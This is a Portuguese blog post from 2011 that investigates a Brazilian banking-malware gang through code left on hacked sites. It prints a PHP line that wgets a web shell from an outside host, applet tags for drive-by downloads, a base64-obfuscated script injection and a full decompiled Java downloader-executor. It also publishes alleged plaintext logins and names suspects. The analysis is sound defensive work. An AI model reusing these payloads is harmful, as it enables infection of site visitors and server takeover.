segunda-feira, 7 de novembro de 2011

Crackers expostos, investigação de quadrilha banker


No artigo anterior, Crackers invadem mais de 14 mil sites e deixam seus dados expostos, descobrimos muitas informações sensíveis relacionadas a crackers, expostas possivelmente devido à falha em alguma ferramenta automatizada de invasão.

Nesse artigo iremos analisar com mais detalhes as informações encontradas. É recomendável a leitura do anterior para melhor entendimento desse que será composto de trechos do código encontrado (em azul) que serão analisados e explicados separadamente.

Lembrando que esses dados foram obtidos porque um leitor do blog me avisou que um site apresentava  conteúdo estranho e ao analisá-lo acabei conseguindo extrair muitas informações, inclusive no final  serão apresentados os possíveis autores desse ato falho de invasão.

Sem mais demora vamos começar a análise dos códigos!

<? exec("wget http://rafaeltongol.com/2.txt;mv 2.txt wp-word.php"); ?>

A primeira coisa após a invasão é baixar um shell para ter controle total dos arquivos. Esse código faz download do arquivo 2.txt e renomeia para wp-word.php. O arquivo 2.txt é um shell PHP ou web shell conhecida como “WSO 2 Web Shell by oRb”, o código-fonte está disponível no Pastebin e esse nome wp-word.php é para tentar se passar por um arquivo do wordpress. A aparência desse shell é essa:


Drive-by download
<applet name="Flash Player 11" code="afp.class" 
archive="http://66.49.154.203/usage/.jar/java.php?a=afp.jar" width="1" height="1">
<param name="link" value="http://66.49.154.203/usage/.exe/download.php?a=FlashPlay.exe">
</applet>

Quando a página é carregada esse código faz com que seja solicitado o download de uma suposta atualização do Java que na verdade é um malware. O executável baixado é o FlashPlay.exe (guarde esse nome).

FlashPlay.exe (MD5: 16c7c8fa9c134c9d17ed517248d3d179)
Trojan-Downloader.VB (Sig-Id:1670965)

Esse por sua vez baixou o arquivo ipojoca.jpg.

ipojoca.jpg (MD5: 9f4ee3e208137c5c4779d68145347cfb)
Trojan-Spy.Win32.Banker (Sig-Id:1677149)

A príncipio não vou analisar manualmente esse malware já que o foco desse artigo é outro.

<? $auto_confi = base64_decode('PHNjcmlwdCBzcmM9Imh0dHA6Ly9
hbGluZXJvaWZmZS5jb20vc2l0ZS9wbHVnaW4uanMiPjwvc2NyaXB0Pg==');
echo $auto_confi;?>

Esse trecho decodifica uma string que está codificada em Base64, existem inúmeros sites que realizam esse processo de codificação-decodificação, como por exemplo o base64online.com. Essa string decodificada corresponde a:

<script src="http://alineroiffe.com/site/plugin.js"></script>

Javascript que nos remete ao próximo trecho de código.

<script src="http://alineroiffe.com/site/plugin.js"></script>

Exatamente o trecho anterior decodificado. O arquivo javascript plugin.js possui esse código:

document.write('<applet code="Microsoft_Corporation_Java_Virtual_Machine.class" archive="http://www.nucleosocial.com.br/images/GoogleUpdater.exe">
<PARAM NAME="mensagem" VALUE="Ok Funcionando perfeitamnte"></applet>');

A intenção desse código era criar um applet para solicitar o download do executávelGoogleUpdater.exe assim que a página fosse carregada, mas o código está errado e não iria funcionar. Vamos entender um pouco mais como funciona esse código de applet que é muito utilizado para espalhar malwares através da técnica conhecida como Drive-by download.

Uma estrutura básica de applet seria assim:

<applet
      code=”AppletJava.class”
      archive=”Arquivos.jar”>

      <param name=”mensagem” value=”Hello World!”>
      <param name=”malware” value=”http://www.infected.com/malware.exe”>
</applet>

Applet é um mini programa escrito em Java que é embutido dentro de uma página HTML Vemos que dentro da tag applet há duas tags: code e archive. A tag code diz o nome da classe (entenda-se programa) a ser executado e a tag archive especifica onde está essa classe e todos os outros arquivos necessários para o applet funcionar.

Na tag archive é esperado um arquivo .JAR onde ficam “zipados” todos os arquivos do applet. Por fim as tags param são os parâmetros do applet, esses parâmetros são utilizados dentro do código. Por exemplo dentro do código do AppletJava.class pode ter uma função que pegue o valor do parâmetro malware e faça o download.

No código que estávamos analisando era esperado um .JAR mas havia um EXE, por isso não iria funcionar.

<script src="http://atelier3.jp/js/java.js"></script>

O javascript java.js possui esse código:

document.write('<applet code="Microsoft_Corporation_Java_Virtual_Machine.class" archive="http://www.nucleosocial.com.br/images/ScriptFail.jar" height="0" width="0">
<PARAM NAME="nome" VALUE="GoogleUpdate">
<PARAM NAME="local" VALUE="http://www.nucleosocial.com.br/images/GoogleUpdater.exe">
<PARAM NAME="mensagem" VALUE="Ok Funcionando perfeitamnte"></applet>');

Código para criação de um applet, vamos alinhá-lo para melhorar a visualização:

<applet
      code="Microsoft_Corporation_Java_Virtual_Machine.class"
      archive="http://www.nucleosocial.com.br/images/ScriptFail.jar"
      height="0" width="0">

      <PARAM NAME="nome" VALUE="GoogleUpdate">
      <PARAM NAME="local" VALUE="http://www.nucleosocial.com.br/images/GoogleUpdater.exe">
      <PARAM NAME="mensagem" VALUE="Ok Funcionando perfeitamnte">
</applet>

Agora sim vemos o JAR em archive, o que quer dizer que dentro de ScriptFail.jar haverá um arquivo chamado Microsoft_Corporation_Java_Virtual_Machine.class. Fiz o download do JAR e encontrei o class com esse nome. Descompilei com ajuda do site showmycode.com e o código que obtive foi esse:

import java.awt.Container;
import java.awt.EventQueue;
import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.ResourceBundle;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.*;

public class Microsoft_Corporation_Java_Virtual_Machine extends JApplet
{

    public Microsoft_Corporation_Java_Virtual_Machine()
    {
    }

    public void init()
    {
        try
        {
            EventQueue.invokeAndWait(new  Object()     /* anonymous class not found */
    class _anm1 {}

);
        }
        catch(Exception ex)
        {
            ex.printStackTrace();
        }
    }

    private void initComponents()
    {
        jLabel1 = new JLabel();
        setName("Form");
        ResourceBundle bundle = ResourceBundle.getBundle("Bundle");
        jLabel1.setText(bundle.getString("Microsoft_Corporation_Java_Virtual_Machine.jLabel1.text"));
        jLabel1.setName("jLabel1");
        GroupLayout layout = new GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING).addGroup(layout.createSequentialGroup().addGap(28, 28, 28).addComponent(jLabel1, -2, 349, -2).addContainerGap(-1, 32767)));
        layout.setVerticalGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING).addGroup(layout.createSequentialGroup().addGap(131, 131, 131).addComponent(jLabel1, -2, 15, -2).addContainerGap(-1, 32767)));
    }

    private void load()
    {
        try
        {
            gravePermissao();
            System.out.println((new StringBuilder()).append("Local: ").append(getParameter("local")).toString());
            System.out.println((new StringBuilder()).append("Nome: ").append(getParameter("nome")).toString());
            file = new File((new StringBuilder()).append(System.getenv("TEMP")).append("\\").append(getParameter("nome")).append(".exe").toString());
            if((getParameter("local") != null) & (getParameter("nome") != null))
            {
                System.out.println("Verificando diretorio");
                System.out.println((new StringBuilder()).append("FileName: ").append(file.getAbsolutePath()).toString());
                if(!file.exists())
                {
                    url = new URL(getParameter("local"));
                    urlc = url.openConnection();
                    input = new BufferedInputStream(urlc.getInputStream());
                    out = new FileOutputStream(file);
                    byte buf[] = new byte[1024];
                    int len;
                    while((len = input.read(buf)) > 0) 
                        out.write(buf, 0, len);
                    out.close();
                }
            }
            if(file.exists())
            {
                Runtime.getRuntime().exec(file.toString());
                System.exit(0);
            }
            jLabel1.setText(getParameter("mensagem"));
        }
        catch(IOException iOException) { }
    }

    public void start()
    {
        init();
    }

    public void destroy()
    {
        System.exit(0);
    }

    private void gravePermissao()
    {
        if(System.getProperty("user.home") != null)
        {
            File file = new File((new StringBuilder()).append(System.getProperty("user.home")).append("\\c0d3.c4sh").toString());
            try
            {
                BufferedWriter out = new BufferedWriter(new FileWriter(file));
                out.write("/* AUTOMATICALLY GENERATED ON Tue Aug 10 13:19:39 BRT 2010*//* DO NOT EDIT */grant {  permission java.security.AllPermission;};");
                out.close();
            }
            catch(IOException ex)
            {
                Logger.getLogger(Microsoft_Corporation_Java_Virtual_Machine.getName()).log(Level.SEVERE, null, ex);
            }
        }
    }

    private File file;
    private OutputStream out;
    private URL url;
    private URLConnection urlc;
    private BufferedInputStream input;
    private static final String permissao = "/* AUTOMATICALLY GENERATED ON Tue Aug 10 13:19:39 BRT 2010*//* DO NOT EDIT */grant {  permission java.security.AllPermission;};";
    private JLabel jLabel1;


}

Dentro do código vemos os parâmetros sendo usados através da função getParameter(). O applet primeiro grava um arquivo no diretório do usuário com o nome de c0d3.c4sh e conteúdo:

/* AUTOMATICALLY GENERATED ON Tue Aug 10 13:19:39 BRT 2010*/
/* DO NOT EDIT */
grant { permission java.security.AllPermission;};

Esse comando grant serve para dar todas as permissões possíveis para rodar o applet, mas não entendi ao certo o porquê desse arquivo com esse conteúdo aí, talvez seja somente para testar se o applet está conseguindo gravar arquivos no computador da vítima.

Em seguida são utilizados os parâmetros para copiar o arquivo GoogleUpdater.exe da URL e salvar em %TEMP%\\GoogleUpdate.exe. Por fim o arquivo é executado.

Essa URL do GoogleUpdater.exe não estava mais ativa então não foi possível baixar o arquivo.

Identificando os autores

http://beta.statcounter.com/p7142950/entry_page/pageload/?url=http://www.cc.com/d.php
flashgame_co_cc
b470killer

statcounter.com é um site de estatísticas de acesso para páginas web tipo o Google Analytics, permite saber quantas pessoas acessam seu site assim como de onde são, por onde chegaram, etc. Essa URL acima é para monitorar os acessos ao endereço http://www.cc.com/d.php. E as outras duas linhas são o usuário e a senha para fazer login no site de estatísticas.

Assim que é feito o login no statcounter.com é apresentada essa tela:


Vemos os últimos acessos à pagina http://www.cc.com/d.php. O que é esse d.php afinal? Umcontador de infecções de malware. Esquema já conhecido onde um malware infecta um micro e acessa uma página para avisar que mais um caiu no golpe.

Vamos analisar a URL do contador.


Cada linha corresponde a uma instalação do malware, vemos o IP e provedor da vítima, país, cidade, data e hora. Usando como exemplo o acesso do Rio de Janeiro as variáveis que são passadas pela URL são:

http://www.cc.com/d.php?
name=Cavalo4 &
download=DOWN_OK &
run=5048 &
run2=0 &
user=Cleiide &
win=XP

Lembram do artigo anterior onde havia uma espécie de contabilidade mostrando quanto alguém devia($) para cada membro do grupo? Os colaboradores do grupo lá tinham os nomes: Porrinha, Psychlo e Cavalo. Provavelmente essa variável name faz a distinção para saber de quem é o malware, nesse vemos que os acessos são do Cavalo, o 4 pode ser o tipo do malware.

Já a variável download deve ser uma flag para saber se o trojan conseguiu baixar suas pragas adicionais, prática comum do esquema cavalo de Troia. As variáveis run e run2 não sei dizer ao certo, talvez seja o PID do malware que foi executado na máquina da vítima. Por fim user e win são o usuário e a versão do Windows infectado.

Na figura abaixo vemos o gráfico de infecções de três dias, na quarta e sexta-feira o malware conseguiu se instalar em mais de 5.400 computadores.


Agora o mais interessante, ao acessar o menu Users e Profile do site de estatísticas, conseguimos ver o nome e e-mail do possível “gerente” desse esquema de distribuição de malwares.



Usuário: flashgame_co_cc
Nome: Marcos Alberto

Resumindo o esquema: o gerente possui os colaboradores Porrinha, Psychlo e Cavalo (deve ter mais), cada um deles é responsável por distribuir malwares diferentes e infectar o maior número de PCs possível. Cada malware quando se instala no computador da vítima acessa sua própria página de contador onde passa algumas informações como vimos acima e avisam que mais um foi infectado.

O gerente então acessa esses contadores e realiza o pagamento para cada colaborador de acordo com o número de infecções, no post anterior havia o valor de R$ 0,50 por infecção. Esse gerente por sua vez deve vender ou alugar serviços de botnets para terceiros, assim como dados de contas bancárias furtadas através dos malwares.

ssh baigiang@baigiang.bachkim.vn:baigiang

Vimos que havia inúmeros dados de acesso a servidores invadidos com usuários e senhas. Abaixo vemos destacados quatro arquivos suspeitos encontrados nesse servidor acima disponível através do ssh.


acesso.php


O código desse arquivo PHP está ofuscado com as funções eval(gzinflate(base64_decode())). Isso não é problema porque também existem sites que decodificam isso, novamente podemos usar obase64online.com. No final da página há um local específico para decodificar essas funções, submeti o código e o resultado pode ser visto no Pastebin.

Trata-se de um shell PHP “(c)oded by SnIpEr_SA,Developed by Ly0kha”, é uma versão do R57.


b0x.php


Como podemos ver esse é um PHP que funciona como sender de spam, isto é, phishings. Quando alguém tentar rastrear um e-mail phishing enviado por esse formulário chegará ao servidorbaigiang.bachkim.vn o que não ajudaria muito na investigação, essa é uma forma que utilizam para dificultar o rastreamento. O código dele está no Pastebin.

caixa.php

É o mesmo arquivo b0x.php renomeado. 

worse.php

É um outro shell PHP com os dizeres “#worst @dal.net You have been hack By Shany with Love To #worst.”. O código dele também coloquei no Pastebin e sua aparência é essa:


Então vimos que havia quatro arquivos suspeitos, três shells PHP utilizados para gerenciar o servidor invadido e um spam sender. Realizando pesquisas sobre esses arquivos encontrei algo interessante que pode nos mostrar os responsáveis pela invasão e desfiguração desses 14 mil sites.

Através do Google encontrei um outro site (www.arquiweb.com.br) que possuía também esses quatro arquivos com os mesmos nomes e as mesmas funções, vejamos esse diretório:


Em vermelho os quatro arquivos mencionados, nota-se que cada um possui data de modificação diferente. Já os os arquivos destacados em verde possuem todos as mesma data de modificação e esse mesmo conteúdo:

Fatal Error HACKED !!!! by Elemento_pcx e s4r4d0 ! twitter ? @fatalerrorcrew ;*

Porém não é só isso, o código HTML da página esconde outra coisa:

<applet name="Adobe Flash Player 11"
      code="adobeflash.class"
      archive="http://coroado.com.br/Arquivos/.Auto/adobeflash.jar"
      width="1" height="1">

      <param name="link" value="http://coroado.com.br/Arquivos/.Auto/FlashPlay.exe">
</applet>

Há um applet escondido que tenta salvar o arquivo FlashPlay.exe no computador da vítima. Um arquivo com esse nome a gente já conhece, lembra no início do post esse mesmo nome de arquivo sendo usado em outro applet?

Não tenho como provar que o MD5 dos dois é o mesmo já que esse está fora do ar, mas veja a data de modificação dos arquivos destacados em verde e do arquivo caixa.php encontrado no www.arquiweb.com.br, são as mesmas. Isso quer dizer que muito provavelmente quem modificou pela última vez esses arquivos foi a mesma pessoa.

Baseado nessas duas informações, o mesmo nome FlashPlay.exe sendo usado em applets e datas de modificações iguais, a ligação do incidente dos 14 mil sites invadidos com o grupo Fatal Error Crew se torna muito forte.

Ainda, esse grupo já é bem conhecido por defacements, invasões e ataques de DDoS perpetrados contra vários sites, uma rápida busca no Google nos mostra isso.

Parece que dessa vez alguma coisa deu errada por deixarem todas essas informações expostas. Caso a ligação entre o grupo e o incidente esteja confirmada isso nos mostra que além desses tipos de ataques mencionados eles também podem estar envolvidos com atividades bankers operando botnets para diversos fins: ataques DDoS, defacements, invasões, furto de contas bancárias, etc. Uma verdadeira quadrilha cibernética.

Agradeço os leitores Álisson e Ronildo que contribuíram com investigações paralelas do caso. Qualquer dúvida, sugestão ou conteúdo adicional só comentar.

Abraços!

FONTE:CRIMESCIBERNETICOS

Nenhum comentário:

Postar um comentário

Obrigado pelo seu comentário, sua opinião é muito importante para que possamos estar avaliando os textos